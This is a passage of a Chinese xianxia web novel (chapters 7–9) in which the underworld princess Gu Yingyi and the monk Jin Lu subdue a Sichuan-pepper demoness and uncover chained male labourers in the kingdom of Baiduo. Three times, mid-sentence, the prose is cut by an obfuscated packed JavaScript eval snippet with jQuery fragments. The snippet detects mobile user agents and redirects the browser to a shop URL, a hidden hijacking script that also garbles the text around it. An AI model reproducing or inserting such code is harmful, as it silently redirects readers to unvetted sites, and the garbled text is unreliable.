“咳咳咳!咳咳咳!”谷盈一的嘴里被塞满了花椒粉,又麻又颤,闪电般只冲住她的天灵盖,谷盈一说不出话来,召出紫火飞出窗外,以唤金漉来。 谷盈一调息气脉,把花椒粉吐了出来,红眼睛里含满了泪。 “何人害我?”谷盈一召出地火,望着缠绕在房梁上的青枝。此刻,她看到大女儿已经死去,而小女儿正躲在角落里哭泣。 紫火烧不了那青枝,它的主枝纹丝不动,而新的叶子在不断长出,它飞过来紧紧缠住谷盈一的脖子,谷盈一的眼泪都流出来了:“这花椒的味道,太让人窒息了!” 金漉赶来,佛珠闪着金光,弹到青枝身上,青枝被金光灼烧,金漉趁此时机把它覆盖到钵盂里。 谷盈一走过去把钵盂拿起来,只见腾空飞起一个蓝青色的长条,如同龙鳞般大小,她哭着说:“我其实已经感应到了,这是哥哥的七魄之一,名为尸狗。”她把尸狗装进金袋里。 “盈一,这里妖气甚重,拿出你的阴阳镜。”金漉觉得刚才捉拿的并不是一整个妖怪,极有可能是一部分。 谷盈一拿出阴阳镜一照,照出一个花椒长长的枝条在窗外蛰伏着,金漉随即追了出去。 谷盈一被大哭的小女儿抱住双腿,“求求你,救救我姐姐。” “她已经死了,你别管了!” 这时一阵浓郁的黑风把干草房顶掀飞,这阵风里全是花椒粉,谷盈一还在后怕这种东西,她咳道:“有……有毒!” 7. 花椒女妖 铜椅,红棕帷幔。 谷盈一再次醒来时,发觉自己被五花大绑扔在老地方,她气得额头青筋暴起,这还没出地府管辖的地界呢,怎么会被欺辱得这么惨,难道是老天对她的惩罚……不可能!等她弄清楚了再算账也不迟。不过谷盈一发现,与上次不同的是,那农户的小女儿和她绑在一块,她看着那农户女哭唧唧的样子,心里顿时爽快了许多。 谷盈一抬头,看到高坐在铜椅之上的垚伯后破口大骂:“可恶的垚伯,你敢这样对本主,不怕我父王派阴兵来缴杀你吗?” “宫主,小臣也是……无奈之举啊,宫主别怕,小臣是不可能杀你的,只是委屈你先这样。我只是借少主的一魄用一用。” 谷盈一低头一看,金袋又没了! 在谷盈一挣脱不得时,那垚伯开始自说自话起来了。原来几年前,水井上的符纸被毁,他的女儿不幸被花椒女妖附身,三魂七魄已被吸食杂糅,女妖一死,他的女儿也会因此魂飞魄散,肉身腐败。少主他的魂魄与人不同,也与妖魔不同,即使女妖离身,只得少主一魄,即可安镇住女儿的元神,不让她魂飞魄散,宫主去寻兄长的其他魂魄,也得花费数载,有了这样的时间,垚伯可以府君求得银袋,在月圆之夜炼化月光九九百十一回,就可以让他女儿的三魂七魄回来,所以他也是爱女心切,才出此下策的。 “你简直是个疯子!为何不让父王派人来捉拿此妖?”谷盈一依旧破口大骂。 “宫主!臣说得已经很明白了!如果花椒女妖死了或者离身了,那我女儿也就没了!何况是臣失职,一国安危皆系于我身,这样的罪责,按律法当斩。前些日子,我听说宫主会经过此地,才出此下策,宫主是府君的女儿,她是我的女儿,请宫主能理解我殷切的爱女之心,将来小臣一定会归还少主的魂魄。” “疯子!疯子!哥哥的魂魄对我来说,是比命还重要的东西,我怎么可能会给你?” “那只好暂且委屈宫主了。”垚伯对小的们说:“来人,把宫主锁到后房!”小鬼们照做了。 这时,一个小鬼差慌慌张张地赶来禀告。 “不好了大王!有一个穿白衣服的和尚杀过来了!” “别慌!拿上我的混铁钢叉去会一会他!” 垚伯带领鬼兵们来到山门口,一眼看到那亮着光的九环银锡杖,吓得双腿直发软,只闻其名未见其人,这难道他就是地藏王菩萨的大弟子金漉? “谷氏盈一何在?” 金漉这样问,果然是要人来了。虽说这佛家暗地里似乎总是不愿意服从我地府的命令,但金漉一心求佛,无心过问地府的事,这回竟然来这里要人,显然是在乎谷盈一这个小妹。 “你……阁下是何人?”垚伯故意问道。 金漉没回答他,直接拿了锡杖打上去,垚伯迫不得已接招,银杖钢叉碰撞擦出火花,两个人打得数十回合,实力不分上下。 谷盈一还在愤愤而骂,一个小鬼匍匐在谷盈一身边哭道:“求宫主饶恕小的,小的一直效忠大帝,绝无二心,在垚伯身边只能虚与委蛇,请宫主明鉴!” “那你先给我松绑。”谷盈一半信半疑。 小鬼差火速给她解开绳子,也给那农户女解开了绳子。 “这垚伯什么来头?” “宫主,他不是自己了说了吗。以前是牛头大人的属下。” “那你也是?” “小的可没有那么大的本事,我只是当年随垚伯来收妖的一个小炮灰,侥幸活着,嘿嘿。” “你这样子可真欠揍!是否记得回地府的路?你去把牛头叫来。” “宫主,没有大帝之命,小的不敢擅自离开椒国,这可是大罪,下十八层地狱我这辈子就完蛋了啊啊啊啊!小的还想着赎罪期满,重新投胎做人呢,小的可不愿意再伺候垚伯了。” 谷盈一变幻出一张符纸,咬破指头,以血写字:谷氏盈一之命在上,牛头速来收妖。对他说:“垚伯叛乱,谁的手下谁管,速叫牛头来!” “是。”小鬼差奉命前去。 山宫无人,都去迎战了,谷盈一觉得把这活交给金漉便好,她得看一看,这垚伯到底在这里做什么,得把他女儿找到,万一金漉打不过他,他女儿可是他的软肋,以此要挟他收手。 谷盈一和农户女来到后宫深院。有几个鬼奴在守护在门前,谷盈一拿出纸符,念道:“菟丝菟丝生有时,附!”只见那黄色的纸符轻悠悠地贴在它们的额头上,肚皮上,甚至是裤腿上,总之一下子把它们都定住了。谷盈一路过它们,还推倒了几个小鬼,之后和农户女推门而入,发现一个温婉美丽的夫人在照看一个小女孩,小女孩睡在摇篮里,摇篮被白光结界罩住。 这应该就是垚伯的夫人和女儿了吧?谷盈一如是想。 她走过去,问那妇人:“你是谁?” 垚伯夫人先是惊诧,随即欲下跪,谷盈一让农户女拉住她:“非我臣子,不必行礼。” 垚伯夫人哭着道:“宫主,这都是我们的错,不应该妄图用少主的一魄来救我们的女儿,这实在是天大的僭越!还请府君和宫主饶恕我们罢。” “金袋在哪?” 垚伯夫人取来奉还给谷盈一。 “你是人,为什么会嫁给鬼吏?你先把自己的身世说清楚。” “我本是方寸国国王的女儿。” 垚伯夫人娓娓道来。当时,方寸国是有国王的,方寸国还没有种花椒,只是后来来一个花椒女妖,杀死了王后,变作王后的样子,她命令全国种植花椒,并暗里大举杀人吸食魂魄。垚伯夫人是国王唯一的女儿,她已经猜到了这并不是自己的母亲,因为花椒女妖对她常常心怀嫉妒。 后来,北阴酆都大帝派牛头来捉拿此妖,花椒女妖先是杀死了国王,又掳走了垚伯夫人,躲到了这个山里,牛头把女妖镇压在水井。垚伯奉命看守女妖,夫人被垚伯所救,那时她才十四,又失去了父亲,无家可归,只能嫁给垚伯。也是从那时起,方寸国改名方寸椒国,再也没有国王。 “那你爱垚伯吗?”农户女问她。 “垚伯长我几百岁,我在山中长到二十余岁后才嫁给他,他赐我椒花云锦衣,可以使我容颜永驻,寿命延长,几百年来,我们夫妻恩爱有加,我们女儿降临后,花椒女妖的封条被破,才有次劫难。” 农户女听哭了,但谷盈一只觉得这女人说了好久好久,她都快听困了。 这时,一阵阴风吹来,木门嘎吱一声,倏地而开。 “天惶惶,地惶惶,我家有个夜哭郎!”朦胧的雾里低沉的男音穿透而出,接着出现一个穿着暗青长袍,戴着黑色帽子,袖口衣摆银线绣祥云,腰系兽皮与草绳的男鬼。 “哇塞!好帅啊!”农户女双手交叉,两眼亮星星。 “就这样的夜游神,有千百个好不好?”谷盈一对她很无奈,倒是,她胆子挺大的。 “拜见宫主大人。”夜游神对谷盈一作揖。 “别耍帅了野仲,你来干什么?” “宫主大人!臣只是在履行自己的职责啊。宫主不记得了吗?我们地府万二里内,由我本人亲自管辖!”野仲说得很骄傲,他接着道:“小臣我夜巡到此,看到一个亡魂,得马上报告给黑白无常大人,让他们来索魂,臣先走了!”野仲化作一阵烟走了。 农户女恋恋不舍得望着他,竟然没有一点后怕。 “亡魂???”谷盈一和垚伯夫人同时惊诧。 再回头,看那摇篮里的女婴早已没了气息,垚伯夫人扑上去,抱起女儿大哭! “不好!那花椒女妖去哪里了?”谷盈一不擅长捉妖,她也追了出去。 那去送符纸的鬼差在路上碰巧遇到夜游神野仲,野仲马上回到地府告诉大帝,大帝派牛头前来收妖,之后野仲回来夜巡发现垚伯夫人的女儿已死。 谷盈一一出门便看到了牛头手拿纯银钢叉,牛蹄似疾风,飞越而上山岩,一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615856|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉住那花椒女妖,钢叉疾驰而过,捋掉了那妖怪大片大片的叶子。随后,用铁链束缚住那女妖,交给手下的鬼兵们。 “宫主没事吧?”牛头作揖问礼谷盈一。 “本主自有天命庇护,能有什么事!看看你惹的好事!” “臣有罪。”牛头欲跪。 谷盈一将他拦住,把他身上的花椒叶子拿掉。 牛头大人一失神。宫主何时变得如此体恤下属了? “垚伯呢?”谷盈一声音冷漠。 “宫主,令芾大人也来了。”牛头回复。 “在哪儿?在哪儿?”谷盈一叫嚷着出去。 “正在缉拿垚伯。” 谷盈一一路小跑,垚伯已被银链子捆住,众多鬼兵鬼吏看守在旁,金漉正在一旁念经,似乎在希望这个地府老臣可以忏悔自己的罪过,得以超脱,入六道轮回。 “令芾!你咋来了?” “宫主。过了宝瓶江才出我地府境地。臣侍奉宫主多年,实在是日夜忧心宫主,承蒙牛头大人的告知,小臣能得此宝贵的机会来看宫主,属实是天大的福气啊!”令芾也罕见得流下了眼泪。 “你们真是讨厌死了!又催我哭是不是?”谷盈一倔强地隐忍着眼泪,她拿出金袋给他看:“令芾你看,我已经找到了哥哥的一魄,你知道是什么?” “是尸狗吗?” “你怎么知道的?” “小臣听说,宫主是在睡梦中被挟来椒山的。而且宫主常贪睡,这也是少主生前苦恼的一件事。宫主啊,此后路途更加凶险,凡事多加小心啊。” “额……先不说这个了。先把妖怪之事解决了吧。”谷盈一摊手表示无语。 垚伯看到花椒女妖被缚和金袋在谷盈一之手已心生绝望。 牛头让人押花椒女妖来到山中西南角的深井,将她投入井底,用铁链层层圈住,贴上八张纸符,纸符上朱砂字画着坤卦,并施法设立结界,将花椒女妖再次镇压在此。 花椒女妖被押的路上一直在喊:“牛头大人,不能这样对我啊!” 令芾对牛头说:“垚伯已没有心气挣扎了,放他去见妻女吧。” 垚伯来到后宫,看到死去的女儿,抱住泣不成声的妻子,哭着道:“夫人,是我对不起你,对不起女儿。” “垚伯,你又有何错!女儿不在了,我的心已经死了,你我夫妻二人来世再见。”说完,她转身拿起剑抹脖而死,温热醒目的鲜血洒在垚伯的衣襟上。 “夫人!”垚伯几欲昏厥,天外雷声滚滚,阴风吹彻整个屋子。 垚伯把妻女草葬在山上。椒国下起了雨。 “垚伯,过去你实有功,你若知罪,可向府君负荆请罪,劳役之后,若得到了府君的原谅,也许可官复原职。”牛头对他说。 “妻女已亡故,阴吏于我何加焉?”垚伯万念俱灰,他把椒花云锦衣奉上:“宫主,臣对宫主不恭敬,实在是无法原谅的罪过,这衣服也是府君赐给臣的,现在臣物归原主。”说完,垚伯拔剑自刎。 令芾和牛头无不嗟叹。牛头用银袋锁了垚伯的三魂七魄,好带回地府发落。 “那个小女孩,你叫什么名字?” “民女青桃。” “你不必回去了,你的父母和阿姐皆死。” 听到这个消息,青桃大哭。 “青桃,你接替垚伯的位置镇守花椒女妖。”牛头又对一个鬼差说:“垚束,你教她法术,通达地府事宜,待她有成时,回府复命。” “是,我地府鬼吏青黄不接,垚束必好好教导青桃,不负大人成命。” “每月汇报事务给野仲。” “是。” 黑白无常一晚上索那么多魂,气得只吐红舌头翻白眼,金漉在一旁盘腿坐在蒲团上,为他们念经超度。 “此一别不知何时才得以相见,宫主一定保重啊。”令芾泪眼婆娑,和谷盈一告别,一起和牛头回去复命了。 8. 白堕国 远处的山峦隐没了大片大片的青翠湖绿,不徐不疾的秋风似乎卷着轻烟而来,只见得有金灿灿的光影在摇荡。路边的野黄菊花混合着草味苦味和泥土味,蒲公英飘飘忽忽地游弋在田里或路边。 谷盈一经历了椒国奇葩的天气,顿时觉得这里很不一样,她迫切地询问金漉:“这里好像很正常,师兄你觉得呢?” “挺合乎人间的。” “还有多久啊我的天!累死了!我说没必要吧,我又不是僧人道人的,用不着这样苦修吧。” “才区区几百里,耗不了多少灵力,对我们仙佛来说,算什么呢盈一。” “说真的,我恨不得马上集齐哥哥的魂魄,我有很多很多的话要和哥哥说。” “盈一,所有的事情都是要花时间的,而你最不缺的就是时间,耐心点,磨磨自己的性子。” “我说金漉,如果你跟着我就是为了说教我,那你不如回去,我一个人落得清净,而且,我是有一点点小小的缺点,可我并不是一点本事也没有!难道少了你,我就找不回哥哥的魂魄了吗?” 金漉摇头不语。当初谷盈一被大炎氏帝关进地佛的藏经阁,期望她好好修心养性,本以为会有些效果,现在觉得这谷盈一没有看进去一个字,还大喊着:“说是给我一天三顿饭,还没有以前一顿吃得多,看这么多破字管什么用啊!”谷盈一真的嗔念太重,率性而为,时常不知天高地厚,大帝让她来寻找少主的三魂七魄,真是再合适不过了。 “别摇了,跟个拨浪鼓似的。”谷盈一怨恨道。 彼时,他们二人已经走了三百里多的路,说话间就到了城门下,上面镌刻着“白堕国”三个销金大字。 城门口依旧没有关卡和守卫,他们径直而入。 一进城,浓郁的酒香飘来,打眼一瞧,除了城门是石砖堆砌,水泥浇筑外,家家户户皆为茅草土房,篱笆锁院,狸猫护门,没有客栈没有酒肆没有商铺,几乎每院都有好几个大酒缸,房顶上,主道上,阡陌间都晒着成熟的小麦,这个国家真是又原始又破落,而且简直是浸泡在酒里了! 谷盈一飞引纸符,捻诀说“千百度,阑珊处,寻!”纸符绕过城一圈,再次回到她手中后,当即化作灰烬,而没有指引她去想到达的地方。 “这个小国竟没有让外乡人住的地方?我们去哪里落脚啊!”谷盈一的语气颇为生气,又点燃一个纸符,扔到旁边的水缸里,地火猛烈,一下子炸开了陶瓷缸,几个妇女被这突如其来的意外吓得尖叫后退。 金漉奉上铜钱以赔罪。 谷盈一抓起路边的一个落荒而逃的女童问道:“我且问你,既然这个地方有国名,想必有国王了?” “有是有,只有一处比较小的宫殿,国王不管国事,以酒为税,每年派人来征收,除了不许外出,其他自由!” 谷盈一往远处仔细一瞧,果真是个民风开放的自由去处!前边的溪流边有不少妇女尽是穿着清凉,白花花的胸和腿半露半掩,头上珠花簪子堆叠璀璨,大多蹲在河边捶打衣裳,说说笑笑的,还有人在荡秋千。 秋千是挂在一棵偌大的榕树下,那榕树倾斜半个身子,它的枝蔓锁着着身下的几株小树,缠绕在一起,难分彼此。稀稀落落的黄绿叶子在曲折虬结的秋千藤上挂着,秋千椅子上坐着两个年轻妇女,一个妇女的肚子圆滚滚的,似乎有七八个月的身孕了,另一个妇女一只手抚摸着她的肚子,另一只手笑着给她的发髻上插上菊花,依靠在她的肩头。 榕树下有几个小女童捡小小的果实,嬉笑追逐。 谷盈一走近,只觉得吵闹声如蜜蜂嗡嗡群飞,扰得她心绪混乱。她随手捡起果子朝秋千砸去,引得她们惊叫一声,随后走近拉开她们,并大声质问: “光天化日之下,你们成什么样子?” “连国王都不管呢,你一个外地来的,生什么气?” “给我说话客气点。”谷盈一召出一小撮地火烧断了秋千,又问:“我问你们,这里莫不是女儿国?不然怎么不见一个男子?” “回贵客的话,这里是白堕国,男子女子皆有。”那个妇女搀扶着怀孕的妇女。 “那你们男人呢?” “外出劳作。” “快告诉我国王在哪!” “过了这条溪,便见王宫了!” 谷盈一气呼呼得走了。 金漉赶来,闭眼施礼说:“各位施主,小妹行事冲动,多有得罪,还请见谅。” 妇女们见他容貌尚称得上清秀,白色佛衣在清风下吹动如泉水,又手执银杖,仪态斐然,纷纷放下手中的活,围了上去:“大师何处来?又到哪里去?多大年纪?可否还俗?” 女子们银铃般的声音对金漉来说却是禁咒,他紧皱眉头,用银杖推开她们:“嗐呀起开!” 妇人们险些被他推倒,金漉走出两里地,才回头施礼,并对她们说:“小僧得罪了。” 追上谷盈一后,看到她站在宫门口,才发现宫殿设立了结界。 “好生厉害的结界,我说怎么纸符怎么探不到它的存在?” “想必这国王并非凡人,不知道会有怎么样的来头。” 谷盈一召出几团地火,发现烧不开,她气愤得说:“这金光闪闪的还挺结实,连地火都炼不化。”她又锤了两下说:“不如走了算了,上次死了妖怪才得尸狗,这里没有一点妖气,地图上也没有光。”谷盈一转身欲走。 金漉看到结界在波动,如水上的一圈圈涟漪,便说道:“我试一下。”随后念起咒来,法术附在银杖上,一敲,结界便破开了。 结界一消失,眼前就出现了几个官吏,他们陪笑说:“你们是远方来的客人吧,等我们先去通报国王一声,先请到偏殿一坐。” “你们怎么鬼鬼祟祟的?为何把王宫圈禁起来?”谷盈一冷脸质问他们。 “这……小臣不敢回答。” “这里很多酒,粮食从何地来?”谷盈一行事风风火火的,只顾得追赶她了,金漉还有很多问题没来得及问。 “还请尊客见了我们国王再说。” 谷盈一和金漉只好跟着他们走,其中一个身穿素袍的官吏疾跑而去。 白堕国的宫殿并不华丽,也不大,宫房也少,几乎全是普通杉木搭建而成的,摆放着寥寥无几的花瓶,帷幔皆是粗制的布料,正殿的柱子也未雕刻花纹,而且官吏和仆人也是少之又少,这样朴素的配设和它的领土倒是相得益彰。 “陛下陛下!快醒醒啊!”那个素袍官吏使劲摇晃着国王的胳膊。 那国王正醉卧在床榻之上,双手抱着美人的细腰,脸埋在她的脖颈之下,那美人□□,羞红着脸把头转向墙面。 “快醒醒啊!我的天老爷!地府家的小女儿来了!” “什么?不早说!”那国王猛地睁开眼,把美人一把推开,“你给我滚开!”那美人捡起地上的披衫从侧门跑了。 国王直叹气,昨夜喝得酩酊大醉,眼睛里红血丝连连,胡子头发乱蓬蓬的,赤身裸体。他叫来内侍为他穿衣洗漱,还特意喝了一碗醒酒汤,一直在抱怨:“不是前几日才说,那谷氏宫主才刚出方寸椒国吗?” “你日夜酗酒,颠鸾倒凤,怎知那已是半个月之前的事了。”素袍官吏神情有哀叹之意。 “那你不提醒我一下?难道我想这样吗?错过了这个机会,对你我来说,都是一个天大的遗憾!我真想把你拉下去斩了!” “好在有结界,我们本来就不需要准备什么,只要好好热情款待宫主便是。你速整理妆容,让那地府尊客等太久就不好了。” “我自有分寸。你快去把宫主请到正殿来!” 素袍官吏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615857|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的态度更拘谨恭敬了,引谷盈一和金漉来到正殿。刚才在偏殿只是喝了一碗茶水,这下来到这里,已经设好宴几,各摆放了三道菜肴,有一尾花椒鱼,一盘素炒茄子,一碗白菜汤,两盘水果是七八个青桔,一挂香蕉,还有一个酒壶一个酒杯,尽显寒酸之气。 那白堕国国王跑来,对谷盈一和金漉二人行礼:“远方尊客来此,有失礼数,还望宽容则个!” “陛下好歹也是一国之主,这样行事,未免也太过客气了吧?”谷盈一问道。 不过谷盈一并没有回礼,金漉向国王施礼。 “这……这是应该的,应该的。”说完国王坐在他们对面的宴桌上。 “陛下真是清廉啊!看这宫殿,看这菜肴!”谷盈一倒是真心在夸赞他,不过说出的语气还是带了些讥讽的感觉。 “尊客有所不知,这菜肴和水果在微国已算上乘之物了,微国地小物瘠,并不是强盛富裕之国,这已是陛下最大的诚意了。”青袍官吏站立一旁为他们的国王解释一番。 “是啊。高僧,虽然我国盛产酒,但备上的是素酒,放心去喝。”白堕国王笑着对金漉说。 “陛下,这么多酒,酿酒的粮食从哪里来的?又在何处酿制的?”金漉问他。 “自然是从别处运来的。家家户户也会酿得一些酒。”国王回答他。 “陛下,你的眼睛怎么这么红?脸色也不太好?活脱脱的暮气沉沉之相!难道是你嗜爱饮酒才令举国上下以酿酒为业?”谷盈一好奇。 “哦不是不是!这是陛下日夜操劳国事所致啊!”素袍官吏悲伤而道。 “说谎!”谷盈一拍案而起:“我已问清楚了,你的臣民说你只管收酒税,从来不过问国事,现在一副清廉爱民的样子,你在装什么鬼东西?”随即打翻白菜汤:“你就给我吃这破玩意儿?” 盛白菜汤的碗碎了一地,只有清清的汤水和几片白菜叶子。 这下吓得那国王连忙跪下:“宫主,我因言语不当得罪了天庭的东宫大殿下,被流放此地已有百年之久,我只有名义上的国王称号,并没有管理之权,实际上每年要完成一定的任务,否则有雷劈火烧之罚,实在苦不堪言啊。”说着那国王还哭了起来,抹了一把眼泪接着说:“上月得知宫主大人寻兄之途会经过此地,才想着弃暗投明,去地府谋个差事,也好过这样痛苦度日啊!” “这个……你也是个有苦衷的人,如果你诚心归顺我府,也是可以的。”谷盈一当场答应了他。 “盈一,此事不可擅自做主!”金漉连忙制止她。 “无妨,布织局是我管的,正好缺一个职位。” “宫主,这素袍官吏是天庭派来定期汇报我情况的,不如宫主大发慈悲心肠,也一并入了阴职吧。” “好说好说。” “那宫主可否立个字据什么的?” 谷盈一拿出一张纸符,用紫火烧之,“魂兮归来!游光!” 一阵烟雾缭绕,日游神现身,对谷盈一作揖:“宫主有何吩咐?” 谷盈一让白堕国王奉上笔砚,她蘸墨在纸符上写道:谷氏盈一亲命,令白堕国王及其官吏二人保身存魂入布织局空职。 她对日游神说:“游光,把此符交给阴冥司,让他们交给令芾,这事自有着落。” 日游神犹犹豫豫的,似乎很是为难:“宫主大人,这……并不是臣的职责啊,越级上报,臣实在不敢……” “无妨,你告诉黑白无常,让他们交给阴冥司。如若不从,下十八层地狱,择良吏替其职!” “是。”此地的日游神拿着纸符战战兢兢得退走了。 “多谢宫主大恩!”国王和青袍官吏拜谢。 “安排好寝房,我和这位路上捡来的高僧留宿一晚,明日出发。”谷盈一吩咐那国王。 “是。” 9. 俪妃 北极星辰跃动在苍穹之上,廊道旁的竹影映在暗色墙上,清风徐来,似在窃窃私语。正是天上有北辰,“居其所而众星共之”,这地上有白堕国王居陋室,食简物,植青竹,遵从天道,无为而治,以致于民风自由,人人欢喜,真是值得称贺。 “谷盈一你等一等。”金漉追上去。 “你又怎么了?” “谷盈一,即使你是大帝之女,即使大帝向来娇纵你,你也不能随意任命阴吏,否则乱了纲纪,也会对人间造成危害。” “金漉我告诉你,地府的事哪怕我说了不算,也轮不到你们来管!”谷盈一挥手,对身边引路的随侍说,“你们先退下。” “你何必有这么大的恨意?难道师父对你不好吗?” “这是我和地藏王菩萨之间的私人情谊,要不是看在他老人家的面子上,我是绝对不会让你跟着的。金漉你记住,我们两家本就水火不容,这是既定的事实,是不可能改变的。” “谷盈一,哪有这么多纷争?你这完全是小孩子脾性,赌气的行为!” “够了!我不想再听到这种话了,要是哥哥,绝对不会这样指责我的!”谷盈一冷笑,“无所谓了,随便你怎么想。”她叫回随侍,问他:“我不要和这个和尚的住房挨着,我怕晚上忍不住杀死他,你再给我找一间房,离得远远的吧。” “这没有国王的旨意,擅自做主,若是追究下来,定免不了一顿责骂。”随侍犹豫不决。 “你这小厮不明白,倘若顺从我的意思,让我开心了,可是你们国王求之不得呢,你自然有大大的奖赏,另外,天色已晚,你不用上报给他,惹得他再来,反而麻烦了我,明日我见了他自有分说。” “好吧,那请您随我来后宫偏房,只有这里有空余的房间了。” 谷盈一瞥了金漉一眼,扬长而去。 谷盈一到房安置好后,熄灯而眠。她睡得并不好,这咯吱咯吱的木条板子让她不好翻身,被褥单薄难暖,“这破王宫怎么这么寒酸啊!”谷盈一忍不住抱怨。这又让她想起来在青桃家留宿的那晚,睡前烤火聊天,铺上满满几层干稻草不说,那天还有太阳把棉被晒了又晒。 这时,谷盈一听到门外有轻微的啜泣声。她当即查看了随身挂着的金袋子,打开看到有哥哥的一魄才放心,又用紫火点燃了油灯,提着灯走出门。 一个身穿白披风黄布裙,单钗珠花的女子正在走廊上烧纸钱,这时的风小,烧掉的纸化为灰烬在空中轻轻打着旋儿。 “你是什么人?为何在我门前烧纸?”即使从地府来的,谷盈一也觉得这种事情晦气不已。 “妾身是国王的妃嫔,本以为这是间无人居住的空房,不承想却打扰了女郎休息,多有得罪还请见谅。”那妃子低头赔罪。 “你听得懂人话吗?我问你为什么半夜在这里烧纸?”谷盈一问两遍很烦躁。 “妾身上个月才出生的孩子不幸早夭,今日是她的头七之日,故来此地烧纸。”说着那妃子用衣袖掩面哭泣。 “这怎么一出门,接连是和孩子有关的事……”谷盈一看她哭得楚楚可怜的样子,也微动了恻隐之心,对她说:“风渐渐大了,你来房里说吧,别再受寒了。” 那女子跟她进房后,坐在床榻之上。 谷盈一坐在木凳上,给自己倒了一杯水,对她说:“先别哭了,你的孩子是怎么亡故的?还有,我还真很好奇一点,既然这国王有妃嫔,怎么没有王后?你都一一说清楚。” 原来,听那女子说,她是本地人,本国必须每月向白堕国王进贡两名女子,她是十年前入宫的,被封为俪妃。那年她才十三,如今已经为国王生了七个孩子,前六个都是男孩,宫里出生的男孩只要长到七岁便被送出宫,出了宫便不是国王的孩子,只要生了女儿的嫔妃连带着女儿一块被赶出宫,国王对她有几分偏爱,所以没让她出宫。 俪妃的女儿生来身子孱弱,宫里的郎中医术不佳,药物也缺乏,所以没能挽救她孩子的命。本国不设王后的原因说来也怪,是国王不承认他有正妻,其他人只认为他薄情寡恩,哪敢多问? “送出宫干嘛?养不起?” “这里需要大量的男丁种植稻谷,国王子嗣众多,也是分些忧了。” “我自入境以来,除了宫里,没有见到一位男子,他们在哪里种稻谷的?” “啊!”俪妃似有所悟,她连忙改口:“刚才只是妾身的一番胡言乱语罢了,女郎万不可放在心上。”说完急匆匆得跑了出去。 谷盈一被她惹得气急败坏。她拿出一张纸符,用紫火烧之,“魂兮归来!野仲!” 这时,一阵阴风吹来,木门嘎吱一声,倏地而开,烟雾缭绕,那低沉的男音又响起:“天惶惶,地惶惶,我家有个夜哭郎!” “宫主深夜唤臣来,这不好吧……不知有何事吩咐?”野仲含笑作揖。 “你真的是欠揍!小心我把你丢掉恶狗岭!”谷盈一并没有真的生气,她对野仲说:“既然此地是你负责夜巡的,你应该知道此国的男丁在哪?我不信可以瞒过生老病死,逃过人间生死簿的记录。” “回宫主,他们现在当然躺在家里睡大觉呢!” “是否在溪东?” “是啊。” “好,野仲,你去把白堕国上下转一圈,一个角落也不许放过,小溪底下,王宫地库,都要去探一探。我到要看看这稻谷到底种在哪里?回来去金漉那里禀报。” “是。”野仲领命走了。 谷盈一走出去,发现这王宫的根本没有几个守卫,她召出纸符,“烟销日出,朝云无觅处,匿!”隐身之后,大摇大摆地来到了金漉的住处。 她敲开金漉房门,金漉开门后满脸震惊:“你怎么来了?” “不做亏心事,不怕鬼敲门!是我来,你很是意想不到吗?”谷盈一鄙夷他。 “你不是……” 你不是还在生气吗?毕竟不欢而散,还另找了住处,谷盈一这脾气真是来的快去的也快。 “进来说话。”金漉问她:“何事?” 谷盈一把俪妃的事和他讲了一遍,并提出自己的见解:“我猜测,稻谷地一定被设了结界,毕竟我们进王宫时,王宫被设了结界,所以我们才看不到。这里面一定有什么不可告人的秘密事。” “你确定要管这事吗?官你也许了,也说了明日离开,不怕扯出事来吗?” “我有什么好怕的?如果从这个国家不清不楚地走,那才可惜。” 说话间,野仲又故伎重演,并复命:“宫主,并没有发现稻谷地。” 谷盈一让他退下,她对金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615858|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漉说:“一定是设了结界,结界需要法力维持,凡人和低阶仙鬼不易识别,而这国王不是天上贬下来的吗?设结界这点小事还是能做到的。师兄,我们必须亲自走一趟了。” “好。” 谷盈一和金漉手持风灯,转了一圈白堕国,终于在王宫之后发现了结界,金漉欲敲开结界,谷盈一说“我来。”地火烧之,一下子破开了结界。 天色墨秾,星光闪闪。这是一大块的水稻田,已是秋季却蛙声不绝,山上是大片大片的黄高粱,还有不少金麦田。 “男丁皆入睡,明日才劳作。明天我推说自己不舒服,再来这里打听情况,你在王宫拖住白堕国王。” “可以。” 翌日,谷盈一符咒施法来到稻谷地,她看到乌央乌央的男丁下水插苗,收割麦子,除草,他们的衣服皆是皂色麻布还打着补丁,皮肤黢黑,更骇人的是,上至七老八十,下至黄毛小儿,脚上都拴着铁链,没有一个官差催促他们劳役,他们有条不紊地忙作着,一直到太阳凌空头顶,才有官吏扛着一大桶白菜汤,清汤寡水上漂浮着几片破菜叶子,还有一桶咸萝卜几筐馒头,他们面如土色却没有一丝怨言。 待官差走后,谷盈一抓住一个男丁问:“你们是罪犯吗?为何脚锁铁链在此服役?” 